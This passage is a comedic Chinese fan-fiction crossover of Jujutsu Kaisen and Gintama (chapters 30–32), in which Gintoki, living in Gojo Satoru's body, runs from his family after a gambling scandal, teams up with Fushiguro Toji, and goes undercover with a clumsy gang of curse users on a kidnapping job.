从小家里人就不敢拘着他，更别说长大之后了。
但好在五条悟从小就聪慧早熟，对于事物的好坏有一套非常清晰的判断，虽然在外人眼里性格过于不羁，但是五条家全家上下都觉得他是个好孩子。
不恃强凌弱，不作奸犯科，强大而自信。
所以当看到调查出银行的流水去向的时候，家主才格外震惊。
前几天，得到五条翔一离谱推测的管家找上来，和家主报告了五条悟卡上存在大量花销。
一开始所有人都不在意，自家好孩子能做什么，无非是买买自己喜欢东西而已。
但这喜欢的东西里绝对不可以是赌博。
家主痛心疾首，看着几家赌场的名字手都在抖。
脑子里怎么也想不出五条悟沾上赌博的原因。
家里没缺他吃喝用度，想要多少钱都能打，咒术师任务的报酬也很多，怎么想也不可能缺钱花。
那么只有一种可能了吧？绝对是哪个赌鬼把他家孩子带坏了！
涉及到五条悟的时候，五条家的行动力可谓是拉满，他们连夜买通赌场，调出了当天的监控。
只见自家神子一进赌场，就直奔一个黑发男子，看着两人相谈甚欢的样子，肯定之前就认识。
家主几乎眼睛不眨地看着两人赌一次输一次，最后花光身上的所有钱财，齐刷刷地穿着内裤站在街道上。
他往椅背上一靠，安详地闭上了双眼。
怪不得会被拍到穿内裤发宣传单，他一直以为是五条悟找的新的玩法，原来是因为没钱吃饭去做兼职吗？
清澈的泪水从他的眼角滑过，自家孩子什么时候吃过这种苦。
一旁的管家适时提醒，说不一定是那人，最好还是确认一下，避免伤及无辜。
想到在自己看不见的地方，五条悟还在被某个赌鬼带上歪路，家主就觉得不能再等了，近朱者赤近墨者黑，他要赶在五条悟被彻底染黑之前，把他洗白回来！
于是就有了今天的电话连环call。
对面的家主组织了下语言，说道：“是这样的，悟，你最近做的事情，让我们有些担心你。”
坂田银时还不知道自己赌博被发现，毫无危险意识地想了想自己最近做了什么出格的事。
只能想到自己穿裤衩子逛大街。
不是吧，御三家竟然这么保守吗？
“这也没什么吧？”
人类刚出生下来不都是赤条条的吗？而且这都21世纪了，先不说穿衣自由了，他这不是还什么都没露吗？
这话一出，家主倒吸了口气。
完了，现在已经被侵染到思想了。
没有心思再循序渐进地套话，家主直接问道：“悟，这些你是和谁学的？”
坂田银时一时没能理解这话的意思，穿个裤衩子的事还需要学吗？这不是一出生下来就会的吗？
“呃，自然而然就会了？”
家主痛苦地捂住脸。
悟竟然已经和那个赌鬼产生这么深厚的情义了吗？
他咬着牙，尽量让自己的声音听起来不那么杀气腾腾：“你不用替那个人打掩护，放心，我是不会对那个人怎么样的。”
越说坂田银时越一脸迷茫，他们真的是在说同一件事吗？
他回想了下当天发生的事情，自己是因为和伏黑甚尔赌气比赛马，才导致两人都输得只剩裤衩。
那么这么看，算是因为伏黑甚尔？
但对方一个赫赫有名的诅咒师，堂而皇之地报出名字似乎对自己也不好，于是他只是含糊着说些外貌特征。
“一个黑发，眼神凶狠，嘴角有疤，还有… …”坂田银时眼神犀利起来，“他的胸很大。”
“… …果然是他。”
果然？等等，什么果然？
他们不会认识伏黑甚尔吧？那不就等于自己自曝和诅咒师有来往了吗？不要啊，他还不想过上颠沛流离的叛逃生活。
“不是不是，我不认识他啊，只是偶然，真的是偶然遇到的！”
“嗯，我明白了。”
“你先等等，我觉得你不明白！”
“放心，悟，我不会让你继续在错误的道路上走下去的。”
说完，电话那头只传来一阵忙音，对方直接挂断了电话。
坂田银时无力地松开手机，顺着墙面滑倒在地。
脑子里只有“完蛋了”这一个想法。
刚刚对方那个意思，很明显是要大义灭亲啊。
结束了，不管是异世界，还是他的富豪生活。
五条翔一没想到坂田银时的反应会这么大，他虽然心有不忍，但还是面色沉重地走过去。
“悟大人，请不要怪我们，我们都是为了您好，不用担心，稍微忍一忍，很快就能过去的。”
坂田银时惊恐地瞪大眼睛，往后面缩了缩。
很快过去？指的什么？自己的生命吗？
他猛地站起来，只觉得自己的脖子在发烫，好像下一秒就要从这里断开。
无视还看着自己的五条翔一，坂田银时躲回宿舍，用力关上门。
他背靠着门，看着满地狼籍的宿舍，用力搓了搓自己的脸。
不能坐以待毙。
从房间内的柜子里掏出一个背包，他开始往里面装值钱的东西。
既然呆在这里会被大义灭亲的话，他还不如干脆做实罪名，至少还能有一线生机。
用平生最快的手速换好衣服，整理好背包后，他想了想，还是带上了已经关机的手机。
五分钟做完这一切的坂田银时，打开房间另一侧的窗户。
先是沿着外墙爬到隔壁夏油杰的房间，顺走了宅十四写着“活动企划经费”的钱包。
然后从窗户上跳下，朝着校门口的围墙拼命跑去。
经济拮据的他没再选择打车，而是朴素地选择了公交和地铁，最后辗转来到了赌马场。
不要误会，他不是为了在这种情况下靠着豪赌翻盘，而是为了找人。
他戴上鸭舌帽，脸上HelloKitty
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的墨镜也一起摘下，换成了五条悟的阿炳同款墨镜。
尽可能低调地猫在角落，眼睛死死盯着门口。
可能是因为他已经够倒霉了，所以老天难得给了他点好运。
就在他等得口干舌燥的时候，他等待的人出现了。
几乎一瞬间，对方就察觉到了坂田银时的注视，那双绿色的眼睛瞥来，如同卧在草地上的黑豹，随意但又危险。
在看出是坂田银时的时候，伏黑甚尔往里走的脚打了个圈，转身就要离开。
“等等等等！”
坂田银时冲上去，下意识用了点术式，撞得伏黑甚尔一个恍惚。
现在只要一看到五条悟这张脸，伏黑甚尔就会回想起输得精光，只穿着裤衩的场景。
他甚至还为了还钱被白嫖了几个委托。
在他这，坂田银时已经和麻烦划了等号，只要遇到他就准没好事。
而恰好，这次他的直觉也在告诉他，这小子不是自己一个人来的，他背后还带着一堆大麻烦。
越想越觉得此地不宜久留。
他不耐烦地看向坂田银时：“有病？我现在没空和小孩子过家家。”
“这次是真的有很重要的事！”
坂田银时看着根本没耐心听的伏黑甚尔，又顾虑着周围，只好一句话概括：“我家里知道我们俩个的事情了。”
伏黑甚尔疑惑又震惊地看过去。
这话好耳熟，他是不是经常从富婆们那边听到来着？
接下来是不是“家里人让我们分手”之类的话？
他脸一下就黑了：“我们有什么事？你要想演苦情剧找别人去。”
“是真的！”坂田银时打开手机，划拉到通话记录，上面是一揽子未接记录，“这是家主给我打的电话。”
然后他又翻到短信，打开刚刚等伏黑甚尔时候发现的一封。
“家里人把我的卡都给冻结了！”
最后他得出结论：“家里人知道我和你，也就是诅咒师有来往，说是要结束我的生命！”
先不说坂田银时怎么样伏黑甚尔根本不在意，再者说他一点也不相信坂田银时的推论，五条家有多宝贵这个六眼，咒术界谁不知道。
就算看到他误入歧途，最多也只会铲除掉那个让他误入歧途的人。
嗯？等等？那不就是自己吗？
伏黑甚尔沉默了，只是跟坂田银时比个赛马而已，真的能让自己这么倒霉吗？
虽然不觉得五条家派出的人打得过自己，但是苍蝇多了也嫌烦。
他知道自己期待已久的赌马，短时间内又赌不成了，于是转身就要走。
却被坂田银时以八爪鱼的姿势牢牢扒住。
就在他准备来点硬的时候，一群人冲了进来，将会场团团围住。
“可恶的赌徒！快点放下我家悟大人！”
“睁开你的眼睛看看，是谁放下谁。”
对方一个咯嘣都不带打的继续说：“你带坏我家悟大人，别以为能竖着从这里走出去。”
伏黑甚尔嗤笑一声，眼神变得危险起来，当初禅院家没能将他留下，现在五条家也不能。
30.第三十章
今天起床时，谁也没想到能发生这么多事情。
大家趁着在食堂吃晚饭的时间，互相交流着八卦。
而所谓的八卦，很容易在口口相传中渐渐变成谣传。
一开始大家还在很正常的讨论着“五条悟被诅咒师欺骗，染上赌博，之后当着五条家的面被对方抓走”。
这个情节虽然安在五条悟身上显得很离谱，但好歹也是个大众向的友谊被背叛的正常发展。
虽然大家内心里其实并不是很相信，毕竟五条悟是谁啊，一个诅咒师他能看不出来？
而且五条悟能被诅咒师抓走？现在除了夏油杰，谁能打过他啊。
大家纷纷开启脑洞，有人说是五条悟不服从家里管教，离家出走了，也有人说是五条悟不想做咒术师了。
而在这之中，冒出了一个惊人的猜测。
有人说，这都是五条家放出来，为了混淆真相的烟雾弹，其实真实情况是“五条悟爱上了一个诅咒师被家里发现，家里极力制止，于是两人只好私奔”。
这个故事一出来瞬间就引燃了整个咒术界，点燃了除了五条家的所有咒术师们的八卦之心。
狗血、虐恋、私奔还有恶婆婆，永远是被大众喜闻乐道的题材。
青春期的叛逆固然让人为之好奇，但是扭曲的爱情更让人陶醉。
于是这个推论立马以势不可挡的架势，把之前流传的所有猜测推翻，成为大家心里认定的真相。
可惜的是，另一个当事人，那个诅咒师的存在被五条家捂得死死的。
在这热烈的讨论氛围中，有眼尖的群众发现了夏油杰最近的萎靡不振。
他的沉默不语，悲痛欲绝，加上平时和五条悟同进同出，形影不离。
让吃瓜群众立马就猜到了原因。
这竟然是个三角恋！
原来他喜欢他，而他却爱着外面的那个ta，他默默守护在他的身边，却只能看着他远走高飞，只留他一人在原地哀叹。
好多的“他”字，好扭曲的情节。
吃瓜群众纷纷点赞，为自己敏锐的观察力，和故事里深情的主人公。
宅十四确实很难过，此刻也没有关注八卦的心，但并不是因为什么虐恋情深。
而是因为他发现自己的活动企划资金不见了！
天杀的，哪个人偷了他的钱。
大家不是都有做不完的任务吗？那不应该都不缺钱吗？为什么不放过他那可怜的钱包。
他去找夜蛾正道，竟然得知偌大个高专，竟然连个监控都没有。
别说犯人的影子了，连对方的咒力残秽都看不到。
身为一个具有常识的良好市民，当即他就想打电话报警，结果被夜蛾正道死死按下。
俩人线下上演了一场手机争夺战，最终以夜蛾正道答应帮忙寻找为结果，暂时让宅十四安定了下来。
还有几天星野爱就要开演唱会了，到时候后续的一切活动都要立马跟进。
他一边心疼自己不翼而飞的钱，一边头疼短时间上哪筹那么多钱。
回过神，发现自己面前刚打好的饭上，又被挤上了一坨蛋黄酱，整个人更加憔悴了。
被论坛狗血三角恋洗脑的庵歌姬，看着独自一人低头看着饭发呆，迟迟没有下口的宅十四，抹了把眼角的泪水。
多么感天动地的淳朴真情啊。
她上前拍了拍宅十四的肩膀，将刚打好的鸡腿放在了他面前。
“多吃点好的，你不要太伤心了，这不是你的错。”
“这本来也不是我的错。”
误以为对方是安慰自己丢失钱财，宅十四心安理得地接过对方投喂的鸡腿，并且得寸进尺地问：“那歌姬可以借我点钱吗？”
“… …我突然想到老师布置的作业还没做完，先回去了哈。”
看着庵歌姬落荒而逃的背影，宅十四更加伤心地啃了一口鸡腿。
-----
不妙啊。
坂田银时脸藏在黑暗中，双手交叉放在鼻子下，摆出一个eva里碇源堂的经典造型。
可惜乱卷卷的发型有些破坏氛围。
“不妙啊。”
他开口说了一句。
只换来另一人嫌弃地一瞥。
“又犯什么病？”
“你这个负心汉，果然得到手的就不会珍惜了，枉我还和你一起私奔。”
往身上缠着绷带的伏黑甚尔，一言难尽地看向戏瘾大发的坂田银时，决定还是无视比较好。
自上次被五条家抓个正着已经过去了一天，他们现在暂时躲避的地方，是伏黑甚尔外出做任务时候使用的临时住所。
坂田银时面前的桌上有一部亮着光的手机，屏幕上正是咒术师内部论坛。
自从上次街头照片的事情过后，他就随手注册了一个论坛账号。
本来他对在上面能看到自己叛逃的相关信息什么的，是不抱什么希望的，但这件事情出乎意料地传得挺广的。
一开始五条家也有试着把这些帖子封锁掉，但封一个，大家就认定被封帖子的猜测是真相。
迄今为止，他已经被迫“因为家族逼婚而离家出走”、“厌倦了没有刺激的生活，不做咒术师”、“食堂的饭太难吃，励志在外面成为一代厨神”。
等等，最后一个是不是夹杂私货了？
但是最终，所有猜测都败于“狗血三角虐恋论”。
果然不管哪个世界，人类喜欢八卦狗血故事的本质，就和喜欢做复读机一样，永远不会改变。
坂田银时抬眼看了看背对着自己的伏黑甚尔。
好在至少其中的一个当事人，看起来不喜欢上网的样子，大概率是不会看到这些消息的。
就是五条悟那边。
五条悟回来，发现自己当场辍学，咒术师毕业，转职成了诅咒师。
他忍不住回想起自己在这个世界的所作所为，后知后觉地开始担心，原主回来看到这些，会不会气得把自己突突掉。
思考没一会，他当场选择破罐子破摔。
反正到时候自己应该也回自己世界了，五条悟再怎么厉害，也不能跨个时空来找自己算账吧。
坂田银时低头再看了眼论坛，虽然悬着的心还是死了，但他觉得还是要抢救一下。
首先现在论坛这副景象，他觉得是五条家故意造成的，为的就是混淆视听。
作为封建余孽的老家族，最在乎的果然还是颜面吧？
毕竟自家百年难出一个的六眼，竟然叛逃了，这件事让他们面上无光。
于是表面上随便找个理由糊弄大众，背地里想着找到他，然后亲手抹除掉这个让家族蒙羞的污点。
越想越觉得自己完蛋了，这该怎么圆？
坂田银时放松身体，眼神无光地靠在椅子后背上。
他头疼地捏了捏额角，事情到底是怎么变成这个样子的呢。
从五条家传出来的真相中，别的不说，至少“被诅咒师掳走”这一点，搭的上一点边。
当时场面很混乱，五条家人急着捞坂田银时过来，又担心伤到他，一时间有些束手束脚。
而另一边的伏黑甚尔很明显就少了很多顾虑，他甚至没有拿出丑宝，就近抢了个五条家族人的咒具，就开始大杀四方。
虽然是临时顶替的五条悟，但坂田银时怎么能让人在自己眼皮子底下被杀死。
于是仗着有无下限伤不到自己，就开始在伏黑甚尔身边故意捣乱。
一边担心伏黑甚尔伤到自
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家人，一边又担心五条家把自己抓回去。
这场打斗，可以说是哪一边都打得相当拧巴。
打到后面伏黑甚尔开始不耐烦了。
他好不容易还完债，赚到委托金来给自己放假，被迫加班就算了，身边还有个搅屎棍，打都打不爽。
在又一次躲过来自坂田银时的正义飞椅之后，他耐心终于还是见了底。
那双望过去的眼睛里透着杀气，他看着坂田银时再一次毫无诚意的道歉，心里泛起了黑水。
自己也不是不能逃出去，但经过这么一来，被五条家抓住的坂田银时不会怎么样，而他肯定会被泼上“带坏六眼的诅咒师”这污水。
为的就是给坂田银时背锅，好维持对方在咒术界清白的身份。
被泼脏水的事情也不少，但这次涉及到了御三家，恐怕以后做委托，免不了有雇主因此而有所顾忌。
被砍委托金是小，要是因此断了财路... ...
伏黑甚尔微微眯眼，闪过杀意。
五条家不是担心自家六眼被自己带坏吗？那干脆就变成真的好了，六眼要是做了诅咒师，那肯定相当的有意思。
于是在所有人都没有反应过来的情况下，伏黑甚尔一把抓住坂田银时的领口，直接拎到面前作为盾牌，朝着门口直直冲去。
硬是逼着五条家让出了一条路，逃出了赌马场。
才有了眼下的这个局面。
伏黑甚尔瞥眼看向心神不宁的坂田银时：“喂，等会要不要和我一起去见中间人？”
“中间人？什么中间人？”
“那当然是接诅咒师委托的中间人了啊。”
伏黑甚尔扬了扬嘴角，很好奇这下五条家该怎么给坂田银时洗白。
-----
原本的诅咒师，在这个世界生活得相当的滋润。
他们游离在灰色地带，警察抓不了他们，咒术师没有精力抓他们。
更别说事不关己高高挂起的御三家，和腐败不堪的总监部。
这世间是他们游戏人间的乐园，他们手握丰富的资产，过着随心所欲的生活。
而这一切，都在五条悟的诞生之后结束了。
他们畏惧着他的力量，远远的一瞥都能让他们不寒而栗。
在暗网的悬赏榜上，五条悟的名字遥遥领先，标上的金额更是让人能几辈子都挥霍不完。
但是没有人敢去尝试。
尚是孩童时期的五条悟，随手就能结束掉他们的生命，那与生俱来的强大，是他们不可仰望的存在。
从此，诅咒师们开始学习夹着尾巴生活，他们痛恨着五条悟的存在，却对现状没有一丝改变的能力。
这些东西，早在孔时雨在进入日本，刚开始做起中间人的时候就清楚。
并且很有自觉的绕着五条悟行事。
他手里夹着一根点燃的烟，燃烬后掉落的烟灰碰到他的手指，也没能让他回神。
但是，谁能告诉他，为什么这个诅咒师们都绕着走的人，现在会出现在自己的面前。
伏黑甚尔看着呆愣的孔时雨，心情很好地说：“介绍一下，这是今天准备加入诅咒师的五条悟。”
“夜露西苦，老子是新人诅咒师五条悟，现在家道中落出来挣外快，v我50万美元，等老子复兴家族之后封你做大管家。”
脑子宕机的孔时雨只能看到坂田银时嘴不断张合，说出的话从他耳朵经过，完全没有从脑子走，就溜了出去。
他看着伏黑甚尔，再看看坂田银时，想起诅咒师转载的论坛帖子。
一个可怕的想法在他脑子里诞生。
那个狗血三角恋里，魅力力压咒灵操术，被五条悟迷上，与之私奔的诅咒师，竟然是伏黑甚尔吗？！
31.第三十一章
孔时雨看向伏黑甚尔的眼神里，瞬间充满了敬佩。
不愧是做过牛郎，哄骗过无数富婆的小白脸，竟然能这么轻松就拿下了五条悟。
还不知道论坛里发生什么，伏黑甚尔只觉得孔时雨看向自己的眼神里，充满了前所未有的尊敬。
他理所当然的理解成“对他能拐歪五条悟的敬佩”。
坂田银时看着面前两人挤眉弄眼，交换着他看不懂的信息，也不在意。
此时的他，内心里只充斥着满满的自信，并且对自己那灵光一闪的妙计暗喜。
在伏黑甚尔问他要不要见中间人的时候，他眼前闪过圆回人设的希望之光。
首先，他可以计划着假装投奔诅咒师，然后随便接个难度不高的任务，到时候再在任务地点给高专通风报信。
这样事后面对五条家质问，就可以用“我接近那个诅咒师，是为了打入诅咒师内部，好给大家提供信息”来圆回去。
一切都是为了大家，他还是那个正义的咒术师。
嗯，对，就是这样。
这样肯定能把岌岌可危的人设挽救回来。
伏黑甚尔在孔时雨“钦佩”的眼神下，被五条家围堵的糟心情消失，他指了指坂田银时：“以后有活可以派给这个小鬼。”
“啊，呃。”
好半天才找回语言系统，孔时雨神情复杂地看了看伏黑甚尔，再快速瞥了眼坂田银时，不敢多看。
“你们要不要跑远点？”
他对着伏黑甚尔委婉地提建议。
却让对方感到一头雾水。
“跑远点？不用吧？五条家在里世界也有路子？”
孔时雨顶着压力，头皮发麻，压力的来源是坂田银时一眨不眨盯着自己的目光，那双在昏暗环境中熠熠生辉的蓝色大眼珠子，存在感十足。
他斟酌了一下：“就是，美国之类的地方，比较方便吧？”
比如少些旁人异样目光什么的，也不用躲来躲去。
“但是海外咒灵不多，咒术师也少吧？赚的肯定没有这里多，不去。”
孔时雨冷汗直流，不好意思多问。
心里有个可怕的猜想，他这个合作伙伴不会只是想和五条悟玩玩吧？
以他的人渣性格，很有可能啊！
对于谜语人的对话不耐烦，坂田银时嚷嚷着：“喂喂喂，你是叫孔乙己是吧？现在有什么活吗？最好是那种吃吃喝喝玩玩就能结束的。”
“呃，抱歉，我手上没有那种轻松的活。”
卑微的，甚至不敢纠正坂田银时叫错自己的名字。
“那都有些什么类型的？”
孔时雨扔掉已经烧完的香烟，大着胆子看向坂田银时。
“比如说… …给富人们祓除咒灵什么的。”
他可不敢一上来就说些什么暗杀要人、暗杀某某咒术师，这种超过法律底线的东西，谁知道对方的底线在哪，万一一个不高兴，把他扬了怎么办。
孔时雨用余光看着事不关心的伏黑甚尔，觉得现在对面两个人是一条船上的，自己要是被杀，肯定没有人拦一下。
坂田银时兴致缺缺：“怎么又是祓除咒灵的任务，报酬是多少？”
孔时雨挑了一个中间价报了出去，让坂田银时瞪大了眼睛。
“多少？！这不是总监部给的三倍吗？！你们诅咒师这么赚钱的吗？”
这副没见过世面的样子换来伏黑甚尔的一声嗤笑，他眼看着坂田银时上钩了，也没耐心继续待下去。
敷衍地挥了挥手，朝着黑市内走开了。
身边少了个熟人，让孔时雨心里更虚了，他心里暗骂着伏黑甚尔，面上却还是谄笑着回答着坂田银时：“还，还好吧。这些富人，比起一般人更在乎自己的性命，所以一般出手都格外大方。如果是您的话，应该还能商量出更多的报酬。”
坂田银时是谁，他经得起金钱的诱惑吗？经不起的。
看着跃跃欲试的坂田银时，孔时雨只感觉手心满是冷汗：“冒昧的问一句，您做委托的时候想要遮掩下外貌吗？”
“要啊，那样才更有游走在黑色地带的感觉。”
比如火影忍者里面的晓组织，时髦值一大半和那身衣服有关。
就算什么都不做，光是站在那，半张脸隐藏在高领里，一双眼睛盯着对面，就很有种世外高人的神秘感。
孔时雨看着兴奋的坂田银时，总有种富二代下乡体验生活的荒谬感。
就算在心里吐槽许多，面上却一点也没敢显露，继续提着建议：“那这样的话，是不是也需要再起个专门做委托用的外号。”
坂田银时点了点头，现在五条家在暗地里搜查着自己的下落，多个马甲也方便自己做事情。
“我想想，那我就叫宇宙无敌颜值·人气男角色第一·甜食的忠实粉丝·实力的诠释者·人人羡慕的别家孩子·大师·帝王... ...怎么样？”
孔时雨：“... ...”
看着坂田银时投向自己“求夸奖”的眼神，孔时雨嘴唇颤颤巍巍半天，还是没能吐出一句话。
这也太长了吧！这么长还能叫做是外号吗？
到时候填委托合同，恐怕一张A4纸上，有两行都是名字吧？不会被人觉得是在凑合同的字数吗？
而且他脑子在坂田银时说到一半的时候就停止运转了，等他说完，除了觉得名字很长以外，什么都没记住。
出于对自身职业的尊敬，以及方便日后和委托人的沟通，孔时雨斟酌了下，委婉地说：“马甲名还是起得短点比较好吧？”
“是吗？长点的话不是更方便雇主一眼就看到我吗？”
孔时雨两眼一黑，这是什么道理？又不是上课点名回答问题，没有老师，更没有名单供对方随机选择。
“我们这一行讲究的是口碑的积攒，有个醒目的名字确实更容易记住，但是主要还是看个人实力。”
坂田银时咂了咂嘴，只好无奈放弃自己酷炫的长名字。
“那我重新起一个吧。”
这个名字首先要足够霸气，最好是那种一眼就让对方震惊住，然后久久都难以忘怀的那种。
孔时雨轻呼一口气，看起来这一难是过去了。
“我就叫‘专挑总监部噶他们的【哔— —】’吧。”
孔时雨捂住胸口，猛地倒吸口气，只觉得刚松的气再次堵了回去了。
在一番孔时雨单方面觉得艰难的沟通后，坂田银时勉为其难地将外号修饰成了“专噶烂橘子梗”。
“这样能看得出是什么意思吗？”
孔时雨嘴角笑容快要挂不住。
竟然还想让所有人看出来什么意思吗？
嘴上很违心地说着：“看得出来，看得出来。”
坂田银时有种在玩基建游戏的感觉，那种满级大佬创建了新号的兴奋感和新鲜感。
他撸起袖子，干劲十足。
“现在就给我个委托试试手吧！”
“诶？现在吗？”
孔时雨擦了擦从开始就不断冒出的冷汗，打开笔记本电脑，以平生最快的速度查找着委托。
很可惜，最新的一个咒灵祓除任务在一小时之前，就被接走了。
“好耶，没有咒灵祓除的委托了。”
孔时雨惊讶地看着站在自己面前的坂田银时，明明对方站在自己的面前，却能看到对一般人来说，视线以外的画面吗？
虽然对于六眼的能力，大家或多或少都有讨论，但真在面前体现出来的时候，冲击力还是丝毫不减。
他再次对六眼的恐惧加深了一些，更加认真地对待委托的事情。
生怕自己挑到不合对方胃口的委托，又担心自己耽搁的时间太长，让人等不耐烦。
“就这个吧。”
一目十行，全脑高速运转的孔时雨茫然地抬头：“啊？”
坂田银时向前走近了些，高挑的身体向下俯去，从上方遮蔽住大片亮光，自上而下的注视格外具有压迫感。
他伸出手指，从电脑屏幕上从下往上，精准地指向自己看中的委托。
“这个绑架人质的委托，我觉得就不错。”
孔时雨：“… …”
他是不是高估对方的道德感了？
-----
一栋废弃大楼外，一个戴着口罩，双耳打着耳钉，妥妥一副混混模样的人不耐烦地在门口打转。
虽然外表看起来很杀马特，但其实也算是个正儿八经的诅咒师。
他今天在这里，是为了一个绑架的委托。
绑架的对象是个富人的私生女，这是他最喜欢的委托类型，危险小，给的钱也多。
具体的家宅内斗他不感兴趣，他只在乎自己能不能拿到报酬。
这次一起做委托的同伴醉酒走夜路的时候，被人敲了闷棍，这才被迫发布了委托，从外面喊了个不认识的人加入。
但他不想让外人瓜分他们的报酬。
想到这他眼里闪过狠绝。
任务结束之后，就把那人一起杀了吧，反正看对面发过来的信息，也只是个
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新人诅咒师。
远处传来的脚步声，在空荡的环境中被无限放大，诅咒师知道，他等的人来了。
最先让他移不开目光的，是对方套在脸上，酷似粉色三角内裤的面具。
似乎是为了贴合某个特摄服装，在面具的眼睛处，用倒八字的形状，完美缝合上了两片几乎有一张脸长的椭圆形墨镜，把整颗头包裹得严严实实。
一身辣眼的同色系紧身衣，搭配上背后随风飘荡的红色披风，还有那系在腰间饱和度超高的绿色腰带。
诅咒师两眼一黑，猛地往后退了一大步，觉得自己从来没见过品味这么差的穿搭。
比起来甚至咒灵都秀色可餐了不少。
尤其在一片黑暗中，那抹亮色显得格外的显眼。
让人想要忽视都做不到。
再加上对方故作少女的跑姿，和那夹着嗓子嚎出来的：“前～辈～”
他摸了摸自己特意染的绿毛。
现在的新生代诅咒师路子都这么野的吗？
可恶，感觉自己输了。
来人正是新加入诅咒师的坂田银时。
看着对方一动不动，似乎被自己的装扮惊艳而呆愣住的模样，他很满意。
果然还是有审美正常的人嘛，那什么孔时雨竟然抱着他的胳膊，眼角泛着眼泪，就为了让他换衣服。
一点也不尊重别人的超绝衣品，这可是没有男人能拒绝的特摄风穿搭。
坂田银时甩着一拳能抡死人的胳膊，小跑到诅咒师面前，继续夹着嗓子：“前辈～我没有迟到吧？”
“… …嗯？”
诅咒师猛然惊醒，颤颤巍巍地从上衣口袋摸到裤子口袋。
没什么特别的目的，主要是想缓一缓扑面而来的尴尬。
最后碍于面子，他把无处安放的双手背在背后，转过身，眼不见为净，终于能完整地说出一句话。
“你就是‘专噶烂橘子梗’吧？”
他顿了下，小声嘟囔了一句“这什么怪名字”，然后继续说着：“你的信息中介已经发给我了，委托的具体内容你也知道了，我们走吧。”
然后头也不回地朝着大楼走去。
坂田银时跟在后面，一路上看到地面布置了一些简陋的阵法。
觉得这伙人里应该有一个结界师，不过是实力很菜的那种。
而眼前这个人。
他用六眼看了看，咒力总量比较少，术式能力是肉1体强化，强化的幅度和提供的咒力量有关，咒力量越多越强。
看来也是个菜鸟。
最近这段时间，他开始有意识地使用六眼，以及增加自己对术式的掌握。
毕竟原本以为只是个简单的异世界旅游，只要混到原主回来就万事大吉。
但现在却告诉自己，拿到的副本其实被重点加粗了“高危”俩字，而且背后有人已经盯上了他们。
敌在暗，我在明，已经失去先手的前提下，必须提高自身实力，才能应对来自对方的各种陷阱。
坂田银时放开六眼，扫视了一下这一栋楼，楼顶一边一个放哨的，二楼房间内聚集的人最多，人质应该在那，一楼马上的拐角处的天花板上，趴着一个人。
路过的时候，他抬起头，朝着像在天花板cos蜘蛛侠的诅咒师挥了挥手。
吓得对方差点掉下来。
这就是这次委托参与的全部诅咒师了。
除非这群诅咒师里，有像伏黑甚尔那种无咒力的体质，六眼观察不到。
把所有人看过一遍后，坂田银时得出结论。
没一个实力能看的。
看来真的被他选到“吃吃喝喝玩玩就能结束”的任务了。
想到这他上楼梯的脚步都轻快了不少。
推开锈迹斑斑的铁门，屋内三个人抬头看来。
每个人手里握着武器，身上杀气腾腾。
想要给新人一点下马威。
但俗话说，当你实力够弱的时候，就算生气也变得可爱起来。
所以坂田银时啥也没感觉到，甚至非常心大地送给在场每个人一句夹子音“前辈”。
现场气氛停滞了十几秒，然后大家默契地选择移开目光，像是要逃避什么一样，商讨着接下来的行动。
散发完自身魅力的坂田银时，满意地找了个空桌子，为了不弄脏心爱的战袍，甚至偷摸着开了无下限才坐了上去。
他无聊地扫视一周，和地上的人质对上了眼。
不是说富人的私生女吗？为什么躺着的人穿着女仆装？
32.第三十二章
上一个“绑架”加“女仆”的组合，在坂田银时的印象里还是《咒术回战》的怀玉篇。
他的心忍不住咯噔一下。
等等，那不就差不多是他现在身处的这个时间段吗？
难道在他叛逃的这段时间内，星浆体事件已经开始了？
这很有可能啊！
毕竟动漫里的视角一直跟着五条悟他们走，并没有放女仆被绑走之后的具体画面。
大感不妙的他首先想到的就是求助系统。
毕竟这个最安全也最方便。
【小ai，小ai，星浆体事件开始了吗？】
【嘟嘟，正在为您生成“星浆体事件”的相关信息。
以下内容由ai生成：
“星浆体事件”是动漫作品《咒术回战》中… …】
没用的东西！
坂田银时强制关闭了系统界面，焦躁地抖着腿。
事已至此，只能豁出去了。
他从腰带中掏出手机，在通讯录黑名单里选中备注为“精分美乃滋”的一个联系人。
然后纠结无比地合上手机。
为了不被连环电话call，他一连将所有通讯录里的人都拉进了黑名单。
现在为了这个事情再把他拉出来，会不会有点丢人。
羞耻心和自尊心在很奇怪的地方爆发了。
他扭捏着不断开合手机盖。
在对接下来行动意见不合，而正在争吵的诅咒师耳边，不断传来“啪”“啪”声。
“不要在那玩你的手机了！”
终于有个人还是受不了地大吼起来，吓得女仆人质浑身一颤。
坂田银时墨镜后的眼睛眨了眨，然后在众目睽睽下“啪”的一声合上手机。
那人觉得自己被挑衅了，龇牙咧嘴就想教训这个新人，被自己同伴拦下。
“任务要紧。”
将坂田银时领进来的绿毛摇了摇头，朝着坂田银时努了努嘴，眼睛冒着凶光，在坂田银时理应看不到的地方，比了个“杀”的动作。
明白绿毛意思，那个人强迫自己冷静下来，冷哼了一声，走到角落靠墙抱臂站着。
坂田银时将这一切都看在眼里，他摇了摇头。
年轻人年纪小小，火气大大。
看着大家都冷静下来了，领头的人决定转移地点。
他指向明显被孤立了的坂田银时，然后再指了指放在他们脚边的一堆行李。
“你，收拾收拾，把这些都带着。”
坂田银时无所谓地耸了耸肩，走过去胡乱抓一把，也不看清是什么通通都往袋子里塞。
等其他人处理好现场留下的痕迹，一群人离开了被水泥砖块笼罩的黑暗地，来到了废弃大楼的后方，重新见到的阳光驱散了众人身上的寒气。
坂田银时定睛一看，面前是一片被废弃的停车场，几辆废弃的车辆边上，停着一辆面包车。
他将手里的东西随意丢在后备箱里，刚关上门，就听到老大再次对他发话。
“你，去开车。”
“我吗？”坂田银时挠了挠自己的头，可惜被面具挡住了，“可是我没有驾照啊。”
“那都是给一般人定的规矩，咱们诅咒师不需要遵守。”
这么说完，一行人呼啦啦地坐满了车。
这不知道是艺高人胆大还是单纯心大的行为，让坂田银时沉默了几秒。
他们真的不担心，让新手上路可能会直接带他们上路吗？
坂田银时顶着这份“宝贵”的信任，坐在了驾驶座上。
然后在众人的催促下，一脚油门冲破了围栏，在几个极致的s弯之后，顺利拐上了马路。
“怎么样BOSS？我这车技是不是很好？”
差点在刚刚叫出声的老大一脸菜色，堪堪维持住了面子。
此时面对众人的目光，只好硬着头皮说：“嗯，还行。”
然后一行人就堵在了路上。
“可恶！为什么会堵车啊！”
坐在副驾驶的绿毛诅咒师无能狂怒，用力砸了几下车门。
坂田银时随着车流快速启动，再急踩刹车：“这位疑似超雄的乘客请不要激动，不要大喊大叫，也不要拍打窗户，会惊吓到外面的动物们的，请文明观看。”
